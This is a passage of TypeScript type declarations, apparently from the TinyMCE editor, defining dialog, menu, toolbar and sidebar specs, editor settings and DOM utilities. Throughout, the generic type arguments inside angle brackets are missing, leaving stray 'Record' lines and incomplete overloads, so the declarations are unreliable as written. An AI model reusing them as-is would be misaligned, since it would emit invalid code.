PublicDialog_d_InputSpec = InputSpec; type PublicDialog_d_LabelSpec = LabelSpec; type PublicDialog_d_ListBoxSpec = ListBoxSpec; type PublicDialog_d_ListBoxItemSpec = ListBoxItemSpec; type PublicDialog_d_ListBoxNestedItemSpec = ListBoxNestedItemSpec; type PublicDialog_d_ListBoxSingleItemSpec = ListBoxSingleItemSpec; type PublicDialog_d_PanelSpec = PanelSpec; type PublicDialog_d_SelectBoxSpec = SelectBoxSpec; type PublicDialog_d_SelectBoxItemSpec = SelectBoxItemSpec; type PublicDialog_d_SizeInputSpec = SizeInputSpec; type PublicDialog_d_TableSpec = TableSpec; type PublicDialog_d_TabSpec = TabSpec; type PublicDialog_d_TabPanelSpec = TabPanelSpec; type PublicDialog_d_TextAreaSpec = TextAreaSpec; type PublicDialog_d_UrlInputSpec = UrlInputSpec; type PublicDialog_d_UrlDialogSpec = UrlDialogSpec; type PublicDialog_d_UrlDialogFooterButtonSpec = UrlDialogFooterButtonSpec; type PublicDialog_d_UrlDialogInstanceApi = UrlDialogInstanceApi; type PublicDialog_d_UrlDialogActionDetails = UrlDialogActionDetails; type PublicDialog_d_UrlDialogMessage = UrlDialogMessage; declare namespace PublicDialog_d { export { PublicDialog_d_AlertBannerSpec as AlertBannerSpec, PublicDialog_d_BarSpec as BarSpec, PublicDialog_d_BodyComponentSpec as BodyComponentSpec, PublicDialog_d_ButtonSpec as ButtonSpec, PublicDialog_d_CheckboxSpec as CheckboxSpec, PublicDialog_d_CollectionSpec as CollectionSpec, PublicDialog_d_ColorInputSpec as ColorInputSpec, PublicDialog_d_ColorPickerSpec as ColorPickerSpec, PublicDialog_d_CustomEditorSpec as CustomEditorSpec, PublicDialog_d_CustomEditorInit as CustomEditorInit, PublicDialog_d_CustomEditorInitFn as CustomEditorInitFn, PublicDialog_d_DialogData as DialogData, PublicDialog_d_DialogSize as DialogSize, PublicDialog_d_DialogSpec as DialogSpec, PublicDialog_d_DialogInstanceApi as DialogInstanceApi, PublicDialog_d_DialogFooterButtonSpec as DialogFooterButtonSpec, PublicDialog_d_DialogActionDetails as DialogActionDetails, PublicDialog_d_DialogChangeDetails as DialogChangeDetails, PublicDialog_d_DialogTabChangeDetails as DialogTabChangeDetails, PublicDialog_d_DropZoneSpec as DropZoneSpec, PublicDialog_d_GridSpec as GridSpec, PublicDialog_d_HtmlPanelSpec as HtmlPanelSpec, PublicDialog_d_IframeSpec as IframeSpec, PublicDialog_d_ImageToolsSpec as ImageToolsSpec, PublicDialog_d_InputSpec as InputSpec, PublicDialog_d_LabelSpec as LabelSpec, PublicDialog_d_ListBoxSpec as ListBoxSpec, PublicDialog_d_ListBoxItemSpec as ListBoxItemSpec, PublicDialog_d_ListBoxNestedItemSpec as ListBoxNestedItemSpec, PublicDialog_d_ListBoxSingleItemSpec as ListBoxSingleItemSpec, PublicDialog_d_PanelSpec as PanelSpec, PublicDialog_d_SelectBoxSpec as SelectBoxSpec, PublicDialog_d_SelectBoxItemSpec as SelectBoxItemSpec, PublicDialog_d_SizeInputSpec as SizeInputSpec, PublicDialog_d_TableSpec as TableSpec, PublicDialog_d_TabSpec as TabSpec, PublicDialog_d_TabPanelSpec as TabPanelSpec, PublicDialog_d_TextAreaSpec as TextAreaSpec, PublicDialog_d_UrlInputSpec as UrlInputSpec, PublicDialog_d_UrlDialogSpec as UrlDialogSpec, PublicDialog_d_UrlDialogFooterButtonSpec as UrlDialogFooterButtonSpec, PublicDialog_d_UrlDialogInstanceApi as UrlDialogInstanceApi, PublicDialog_d_UrlDialogActionDetails as UrlDialogActionDetails, PublicDialog_d_UrlDialogMessage as UrlDialogMessage, }; } type PublicInlineContent_d_AutocompleterSpec = AutocompleterSpec; type PublicInlineContent_d_AutocompleterItemSpec = AutocompleterItemSpec; type PublicInlineContent_d_AutocompleterContents = AutocompleterContents; type PublicInlineContent_d_AutocompleterInstanceApi = AutocompleterInstanceApi; type PublicInlineContent_d_ContextPosition = ContextPosition; type PublicInlineContent_d_ContextScope = ContextScope; type PublicInlineContent_d_ContextFormSpec = ContextFormSpec; type PublicInlineContent_d_ContextFormInstanceApi = ContextFormInstanceApi; type PublicInlineContent_d_ContextFormButtonSpec = ContextFormButtonSpec; type PublicInlineContent_d_ContextFormButtonInstanceApi = ContextFormButtonInstanceApi; type PublicInlineContent_d_ContextFormToggleButtonSpec = ContextFormToggleButtonSpec; type PublicInlineContent_d_ContextFormToggleButtonInstanceApi = ContextFormToggleButtonInstanceApi; type PublicInlineContent_d_ContextToolbarSpec = ContextToolbarSpec; type PublicInlineContent_d_SeparatorItemSpec = SeparatorItemSpec; declare namespace PublicInlineContent_d { export { PublicInlineContent_d_AutocompleterSpec as AutocompleterSpec, PublicInlineContent_d_AutocompleterItemSpec as AutocompleterItemSpec, PublicInlineContent_d_AutocompleterContents as AutocompleterContents, PublicInlineContent_d_AutocompleterInstanceApi as AutocompleterInstanceApi, PublicInlineContent_d_ContextPosition as ContextPosition, PublicInlineContent_d_ContextScope as ContextScope, PublicInlineContent_d_ContextFormSpec as ContextFormSpec, PublicInlineContent_d_ContextFormInstanceApi as ContextFormInstanceApi, PublicInlineContent_d_ContextFormButtonSpec as ContextFormButtonSpec, PublicInlineContent_d_ContextFormButtonInstanceApi as ContextFormButtonInstanceApi, PublicInlineContent_d_ContextFormToggleButtonSpec as ContextFormToggleButtonSpec, PublicInlineContent_d_ContextFormToggleButtonInstanceApi as ContextFormToggleButtonInstanceApi, PublicInlineContent_d_ContextToolbarSpec as ContextToolbarSpec, PublicInlineContent_d_SeparatorItemSpec as SeparatorItemSpec, }; } type PublicMenu_d_MenuItemSpec = MenuItemSpec; type PublicMenu_d_MenuItemInstanceApi = MenuItemInstanceApi; type PublicMenu_d_NestedMenuItemContents = NestedMenuItemContents; type PublicMenu_d_NestedMenuItemSpec = NestedMenuItemSpec; type PublicMenu_d_NestedMenuItemInstanceApi = NestedMenuItemInstanceApi; type PublicMenu_d_FancyMenuItemSpec = FancyMenuItemSpec; type PublicMenu_d_ToggleMenuItemSpec = ToggleMenuItemSpec; type PublicMenu_d_ToggleMenuItemInstanceApi = ToggleMenuItemInstanceApi; type PublicMenu_d_ChoiceMenuItemSpec = ChoiceMenuItemSpec; type PublicMenu_d_ChoiceMenuItemInstanceApi = ChoiceMenuItemInstanceApi; type PublicMenu_d_SeparatorMenuItemSpec = SeparatorMenuItemSpec; type PublicMenu_d_ContextMenuApi = ContextMenuApi; type PublicMenu_d_ContextMenuContents = ContextMenuContents; type PublicMenu_d_ContextMenuItem = ContextMenuItem; type PublicMenu_d_ContextSubMenu = ContextSubMenu; type PublicMenu_d_CardMenuItemSpec = CardMenuItemSpec; type PublicMenu_d_CardMenuItemInstanceApi = CardMenuItemInstanceApi; type PublicMenu_d_CardItemSpec = CardItemSpec; type PublicMenu_d_CardContainerSpec = CardContainerSpec; type PublicMenu_d_CardImageSpec = CardImageSpec; type PublicMenu_d_CardTextSpec = CardTextSpec; declare namespace PublicMenu_d { export { PublicMenu_d_MenuItemSpec as MenuItemSpec, PublicMenu_d_MenuItemInstanceApi as MenuItemInstanceApi, PublicMenu_d_NestedMenuItemContents as NestedMenuItemContents, PublicMenu_d_NestedMenuItemSpec as NestedMenuItemSpec, PublicMenu_d_NestedMenuItemInstanceApi as NestedMenuItemInstanceApi, PublicMenu_d_FancyMenuItemSpec as FancyMenuItemSpec, PublicMenu_d_ToggleMenuItemSpec as ToggleMenuItemSpec, PublicMenu_d_ToggleMenuItemInstanceApi as ToggleMenuItemInstanceApi, PublicMenu_d_ChoiceMenuItemSpec as ChoiceMenuItemSpec, PublicMenu_d_ChoiceMenuItemInstanceApi as ChoiceMenuItemInstanceApi, PublicMenu_d_SeparatorMenuItemSpec as SeparatorMenuItemSpec, PublicMenu_d_ContextMenuApi as ContextMenuApi, PublicMenu_d_ContextMenuContents as ContextMenuContents, PublicMenu_d_ContextMenuItem as ContextMenuItem, PublicMenu_d_ContextSubMenu as ContextSubMenu, PublicMenu_d_CardMenuItemSpec as CardMenuItemSpec, PublicMenu_d_CardMenuItemInstanceApi as CardMenuItemInstanceApi, PublicMenu_d_CardItemSpec as CardItemSpec, PublicMenu_d_CardContainerSpec as CardContainerSpec, PublicMenu_d_CardImageSpec as CardImageSpec, PublicMenu_d_CardTextSpec as CardTextSpec, }; } interface SidebarInstanceApi { element: () => HTMLElement; } interface SidebarSpec { icon?: string; tooltip?: string; onShow?: (api: SidebarInstanceApi) => void; onSetup?: (api: SidebarInstanceApi) => (api: SidebarInstanceApi) => void; onHide?: (api: SidebarInstanceApi) => void; } type PublicSidebar_d_SidebarSpec = SidebarSpec; type PublicSidebar_d_SidebarInstanceApi = SidebarInstanceApi; declare namespace PublicSidebar_d { export { PublicSidebar_d_SidebarSpec as SidebarSpec, PublicSidebar_d_SidebarInstanceApi as SidebarInstanceApi, }; } interface ToolbarGroupSetting { name: string; items: string[]; } declare type ToolbarConfig = string | ToolbarGroupSetting[]; interface GroupToolbarButtonInstanceApi extends BaseToolbarButtonInstanceApi { } interface GroupToolbarButtonSpec extends BaseToolbarButtonSpec
{ type?: 'grouptoolbarbutton'; items?: ToolbarConfig; } declare type MenuButtonItemTypes = NestedMenuItemContents; declare type SuccessCallback = (menu: string | MenuButtonItemTypes[]) => void; interface BaseMenuButtonSpec { text?: string; tooltip?: string; icon?: string; fetch: (success: SuccessCallback) => void; onSetup?: (api: BaseMenuButtonInstanceApi) => (api: BaseMenuButtonInstanceApi) => void; } interface BaseMenuButtonInstanceApi { isDisabled: () => boolean; setDisabled: (state: boolean) => void; isActive: () => boolean; setActive: (state: boolean) => void; } interface ToolbarMenuButtonSpec extends BaseMenuButtonSpec { type?: 'menubutton'; onSetup?: (api: ToolbarMenuButtonInstanceApi) => (api: ToolbarMenuButtonInstanceApi) => void; } interface ToolbarMenuButtonInstanceApi extends BaseMenuButtonInstanceApi { } declare type ToolbarSplitButtonItemTypes = ChoiceMenuItemSpec | SeparatorMenuItemSpec; declare type SuccessCallback$1 = (menu: ToolbarSplitButtonItemTypes[]) => void; declare type SelectPredicate = (value: string) => boolean; declare type PresetTypes = 'color' | 'normal' | 'listpreview'; declare type ColumnTypes$1 = number | 'auto'; interface ToolbarSplitButtonSpec { type?: 'splitbutton'; tooltip?: string; icon?: string; text?: string; select?: SelectPredicate; presets?: PresetTypes; columns?: ColumnTypes$1; fetch: (success: SuccessCallback$1) => void; onSetup?: (api: ToolbarSplitButtonInstanceApi) => (api: ToolbarSplitButtonInstanceApi) => void; onAction: (api: ToolbarSplitButtonInstanceApi) => void; onItemAction: (api: ToolbarSplitButtonInstanceApi, value: string) => void; } interface ToolbarSplitButtonInstanceApi { isDisabled: () => boolean; setDisabled: (state: boolean) => void; setIconFill: (id: string, value: string) => void; setIconStroke: (id: string, value: string) => void; isActive: () => boolean; setActive: (state: boolean) => void; } type PublicToolbar_d_ToolbarButtonSpec = ToolbarButtonSpec; type PublicToolbar_d_ToolbarButtonInstanceApi = ToolbarButtonInstanceApi; type PublicToolbar_d_ToolbarSplitButtonSpec = ToolbarSplitButtonSpec; type PublicToolbar_d_ToolbarSplitButtonInstanceApi = ToolbarSplitButtonInstanceApi; type PublicToolbar_d_ToolbarMenuButtonSpec = ToolbarMenuButtonSpec; type PublicToolbar_d_ToolbarMenuButtonInstanceApi = ToolbarMenuButtonInstanceApi; type PublicToolbar_d_ToolbarToggleButtonSpec = ToolbarToggleButtonSpec; type PublicToolbar_d_ToolbarToggleButtonInstanceApi = ToolbarToggleButtonInstanceApi; type PublicToolbar_d_GroupToolbarButtonSpec = GroupToolbarButtonSpec; type PublicToolbar_d_GroupToolbarButtonInstanceApi = GroupToolbarButtonInstanceApi; declare namespace PublicToolbar_d { export { PublicToolbar_d_ToolbarButtonSpec as ToolbarButtonSpec, PublicToolbar_d_ToolbarButtonInstanceApi as ToolbarButtonInstanceApi, PublicToolbar_d_ToolbarSplitButtonSpec as ToolbarSplitButtonSpec, PublicToolbar_d_ToolbarSplitButtonInstanceApi as ToolbarSplitButtonInstanceApi, PublicToolbar_d_ToolbarMenuButtonSpec as ToolbarMenuButtonSpec, PublicToolbar_d_ToolbarMenuButtonInstanceApi as ToolbarMenuButtonInstanceApi, PublicToolbar_d_ToolbarToggleButtonSpec as ToolbarToggleButtonSpec, PublicToolbar_d_ToolbarToggleButtonInstanceApi as ToolbarToggleButtonInstanceApi, PublicToolbar_d_GroupToolbarButtonSpec as GroupToolbarButtonSpec, PublicToolbar_d_GroupToolbarButtonInstanceApi as GroupToolbarButtonInstanceApi, }; } interface Registry { addButton: (name: string, spec: ToolbarButtonSpec) => void; addGroupToolbarButton: (name: string, spec: GroupToolbarButtonSpec) => void; addToggleButton: (name: string, spec: ToolbarToggleButtonSpec) => void; addMenuButton: (name: string, spec: ToolbarMenuButtonSpec) => void; addSplitButton: (name: string, spec: ToolbarSplitButtonSpec) => void; addMenuItem: (name: string, spec: MenuItemSpec) => void; addNestedMenuItem: (name: string, spec: NestedMenuItemSpec) => void; addToggleMenuItem: (name: string, spec: ToggleMenuItemSpec) => void; addContextMenu: (name: string, spec: ContextMenuApi) => void; addContextToolbar: (name: string, spec: ContextToolbarSpec) => void; addContextForm: (name: string, spec: ContextFormSpec) => void; addIcon: (name: string, svgData: string) => void; addAutocompleter: (name: string, spec: AutocompleterSpec) => void; addSidebar: (name: string, spec: SidebarSpec) => void; getAll: () => { buttons: Record
; menuItems: Record
; popups: Record
; contextMenus: Record
; contextToolbars: Record
; icons: Record
; sidebars: Record
; }; } interface StyleSheetLoader { load: (url: string, success: () => void, failure?: () => void) => void; loadAll: (urls: string[], success: (urls: string[]) => void, failure: (urls: string[]) => void) => void; unload: (url: string) => void; unloadAll: (urls: string[]) => void; _setReferrerPolicy: (referrerPolicy: ReferrerPolicy) => void; } interface StyleSheetLoaderSettings { maxLoadTime?: number; contentCssCors?: boolean; referrerPolicy?: ReferrerPolicy; } declare type Registry$1 = Registry; interface EditorUiApi { show: () => void; hide: () => void; enable: () => void; disable: () => void; isDisabled: () => boolean; } interface EditorUi extends EditorUiApi { registry: Registry$1; styleSheetLoader: StyleSheetLoader; } type Ui_d_EditorUiApi = EditorUiApi; type Ui_d_EditorUi = EditorUi; declare namespace Ui_d { export { Ui_d_EditorUiApi as EditorUiApi, Ui_d_EditorUi as EditorUi, Registry$1 as Registry, PublicDialog_d as Dialog, PublicInlineContent_d as InlineContent, PublicMenu_d as Menu, PublicSidebar_d as Sidebar, PublicToolbar_d as Toolbar, }; } declare type EntityEncoding = 'named' | 'numeric' | 'raw' | 'named,numeric' | 'named+numeric' | 'numeric,named' | 'numeric+named'; declare type ThemeInitFunc = (editor: Editor, elm: HTMLElement) => { editorContainer: HTMLElement; iframeContainer: HTMLElement; height?: number; iframeHeight?: number; api?: EditorUiApi; }; declare type SetupCallback = (editor: Editor) => void; declare type FilePickerCallback = (callback: Function, value: any, meta: Record
) => void; declare type FilePickerValidationStatus = 'valid' | 'unknown' | 'invalid' | 'none'; declare type FilePickerValidationCallback = (info: { type: string; url: string; }, callback: (validation: { status: FilePickerValidationStatus; message: string; }) => void) => void; declare type URLConverter = (url: string, name: string, elm?: HTMLElement) => string; declare type URLConverterCallback = (url: string, node: Node, on_save: boolean, name: string) => void; interface ToolbarGroup { name?: string; items: string[]; } declare type ToolbarMode = 'floating' | 'sliding' | 'scrolling' | 'wrap'; interface BaseEditorSettings { add_form_submit_trigger?: boolean; add_unload_trigger?: boolean; allow_conditional_comments?: boolean; allow_html_data_urls?: boolean; allow_html_in_named_anchor?: boolean; allow_script_urls?: boolean; allow_svg_data_urls?: boolean; allow_unsafe_link_target?: boolean; anchor_bottom?: false | string; anchor_top?: false | string; auto_focus?: string | true; automatic_uploads?: boolean; base_url?: string; block_formats?: string; block_unsupported_drop?: boolean; body_id?: string; body_class?: string; br_in_pre?: boolean; br_newline_selector?: string; browser_spellcheck?: boolean; branding?: boolean; cache_suffix?: string; color_cols?: number; color_map?: string[]; content_css?: boolean | string | string[]; content_css_cors?: boolean; content_security_policy?: string; content_style?: string; font_css?: string | string[]; contextmenu?: string | false; contextmenu_never_use_native?: boolean; convert_fonts_to_spans?: boolean; convert_urls?: boolean; custom_colors?: boolean; custom_elements?: string; custom_ui_selector?: string; custom_undo_redo_levels?: number; directionality?: 'ltr' | 'rtl'; doctype?: string; document_base_url?: string; element_format?: 'xhtml' | 'html'; elementpath?: boolean; encoding?: string; end_container_on_empty_block?: boolean; entities?: string; entity_encoding?: EntityEncoding; extended_valid_elements?: string; event_root?: string; file_picker_callback?: FilePickerCallback; file_picker_types?: string; file_picker_validator_handler?: FilePickerValidationCallback; fix_list_elements?: boolean; fixed_toolbar_container?: string; font_formats?: string; font_size_classes?: string; font_size_legacy_values?: string; font_size_style_values?: string; fontsize_formats?: string; force_hex_style_colors?: boolean; forced_root_block?: boolean | string; forced_root_block_attrs?: Record
; formats?: Formats; gecko_spellcheck?: boolean; height?: number | string; hidden_input?: boolean; icons?: string; icons_url?: string; id?: string; images_dataimg_filter?: (imgElm: HTMLImageElement) => boolean; images_replace_blob_uris?: boolean; images_reuse_filename?: boolean; images_upload_base_path?: string; images_upload_credentials?: boolean; images_upload_handler?: UploadHandler; images_upload_url?: string; indent?: boolean; indent_after?: string; indent_before?: string; indent_use_margin?: boolean; indentation?: string; init_instance_callback?: SetupCallback; inline?: boolean; inline_boundaries?: boolean; inline_boundaries_selector?: string; inline_styles?: boolean; invalid_elements?: string; invalid_styles?: string; keep_styles?: boolean; language?: string; language_load?: boolean; language_url?: string; lineheight_formats?: string; max_height?: number; max_width?: number; menu?: Record
; menubar?: boolean | string; min_height?: number; min_width?: number; no_newline_selector?: string; nowrap?: boolean; object_resizing?: boolean | string; placeholder?: string; preserve_cdata?: boolean; preview_styles?: boolean | string; protect?: RegExp[]; readonly?: boolean; referrer_policy?: ReferrerPolicy; relative_urls?: boolean; remove_script_host?: boolean; remove_trailing_brs?: boolean; removed_menuitems?: string; resize?: boolean | 'both'; resize_img_proportional?: boolean; root_name?: string; schema?: SchemaType; selector?: string; setup?: SetupCallback; skin?: boolean | string; skin_url?: string; statusbar?: boolean; style_formats?: AllowedFormat[]; style_formats_autohide?: boolean; style_formats_merge?: boolean; submit_patch?: boolean; suffix?: string; target?: HTMLElement; theme?: string | ThemeInitFunc; theme_url?: string; toolbar?: boolean | string | string[] | Array
; toolbar1?: string; toolbar2?: string; toolbar3?: string; toolbar4?: string; toolbar5?: string; toolbar6?: string; toolbar7?: string; toolbar8?: string; toolbar9?: string; toolbar_mode?: ToolbarMode; typeahead_urls?: boolean; url_converter?: URLConverter; url_converter_scope?: any; urlconverter_callback?: string | URLConverterCallback; valid_children?: string; valid_classes?: string | Record
; valid_elements?: string; valid_styles?: string | Record
; visual?: boolean; visual_anchor_class?: string; visual_table_class?: string; width?: number | string; toolbar_drawer?: false | 'floating' | 'sliding' | 'scrolling'; editor_deselector?: string; editor_selector?: string; elements?: string; filepicker_validator_handler?: FilePickerValidationCallback; mode?: 'exact' | 'textareas' | 'specific_textareas'; types?: Record
[]; block_elements?: string; boolean_attributes?: string; move_caret_before_on_enter_elements?: string; non_empty_elements?: string; self_closing_elements?: string; short_ended_elements?: string; text_block_elements?: string; text_inline_elements?: string; whitespace_elements?: string; disable_nodechange?: boolean; forced_plugins?: string | string[]; plugin_base_urls?: Record
; service_message?: string; validate?: boolean; [key: string]: any; } interface RawEditorSettings extends BaseEditorSettings { external_plugins?: Record
; mobile?: RawEditorSettings; plugins?: string | string[]; } interface EditorSettings extends BaseEditorSettings { external_plugins: Record
; plugins: string; } interface ParamTypeMap { 'hash': Record
; 'string': string; 'number': number; 'boolean': boolean; 'string[]': string[]; 'array': any[]; } interface BlobInfoImagePair { image: HTMLImageElement; blobInfo: BlobInfo; } declare class NodeChange { private readonly editor; private lastPath; constructor(editor: Editor); nodeChanged(args?: any): void; private isSameElementPath; } interface SelectionOverrides { showCaret: (direction: number, node: Element, before: boolean, scrollIntoView?: boolean) => Range | null; showBlockCaretContainer: (blockCaretContainer: Element) => void; hideFakeCaret: () => void; destroy: () => void; } interface Quirks { refreshContentEditable(): void; isHidden(): boolean; } declare type DecoratorData = Record
; declare type Decorator = (uid: string, data: DecoratorData) => { attributes?: {}; classes?: string[]; }; declare type AnnotationListener = (state: boolean, name: string, data?: { uid: string; nodes: any[]; }) => void; declare type AnnotationListenerApi = AnnotationListener; interface AnnotatorSettings { decorate: Decorator; persistent?: boolean; } interface Annotator { register: (name: string, settings: AnnotatorSettings) => void; annotate: (name: string, data: DecoratorData) => void; annotationChanged: (name: string, f: AnnotationListenerApi) => void; remove: (name: string) => void; getAll: (name: string) => Record
; } interface GeomRect { readonly x: number; readonly y: number; readonly w: number; readonly h: number; } interface Rect { inflate: (rect: GeomRect, w: number, h: number) => GeomRect; relativePosition: (rect: GeomRect, targetRect: GeomRect, rel: string) => GeomRect; findBestRelativePosition: (rect: GeomRect, targetRect: GeomRect, constrainRect: GeomRect, rels: string[]) => string | null; intersect: (rect: GeomRect, cropRect: GeomRect) => GeomRect | null; clamp: (rect: GeomRect, clampRect: GeomRect, fixedSize?: boolean) => GeomRect; create: (x: number, y: number, w: number, h: number) => GeomRect; fromClientRect: (clientRect: ClientRect) => GeomRect; } interface StyleMap { [s: string]: string | number; } interface StylesSettings { allow_script_urls?: boolean; allow_svg_data_urls?: boolean; url_converter?: URLConverter; url_converter_scope?: any; } interface Styles { toHex: (color: string) => string; parse: (css: string) => Record
; serialize: (styles: StyleMap, elementName?: string) => string; } interface DOMUtilsSettings { schema: Schema; url_converter: URLConverter; url_converter_scope: any; ownEvents: boolean; keep_values: boolean; hex_colors: boolean; update_styles: boolean; root_element: HTMLElement; collect: Function; onSetAttrib: Function; contentCssCors: boolean; referrerPolicy: ReferrerPolicy; } declare type Target = Node | Window; declare type RunArguments
= string | T | Array
; declare type BoundEvent = [ Target, string, EventUtilsCallback
, any ]; declare type Callback
= EventUtilsCallback
>; interface DOMUtils { doc: Document; settings: Partial
; win: Window; files: Record
; stdMode: boolean; boxModel: boolean; styleSheetLoader: StyleSheetLoader; boundEvents: BoundEvent[]; styles: Styles; schema: Schema; events: EventUtils; root: Node; $: DomQueryConstructor; $$: {
(elm: T | T[] | DomQuery
): DomQuery
; (elm: string): DomQuery
; }; isBlock: (node: string | Node) => boolean; clone: (node: Node, deep: boolean) => Node; getRoot: () => HTMLElement; getViewPort: (argWin?: Window) => GeomRect; getRect: (elm: string | HTMLElement) => GeomRect; getSize: (elm: string | HTMLElement) => { w: number; h: number; }; getParent: {
(node: string | Node, selector: K, root?: Node): HTMLElementTagNameMap[K] | null;
(node: string | Node, selector: (node: HTMLElement) => node is T, root?: Node): T | null;
(node: string | Node, selector?: string | ((node: HTMLElement) => boolean | void), root?: Node): T | null; }; getParents: {
(elm: string | Node, selector: K, root?: Node, collect?: boolean): Array
;
(node: string | Node, selector: (node: HTMLElement) => node is T, root?: Node): T[];
(elm: string | Node, selector?: string | ((node: HTMLElement) => boolean | void), root?: Node, collect?: boolean): T[]; }; get: (elm: string | Node) => HTMLElement | null; getNext: (node: Node, selector: string | ((node: Node) => boolean)) => Node | null; getPrev: (node: Node, selector: string | ((node: Node) => boolean)) => Node | null; select: {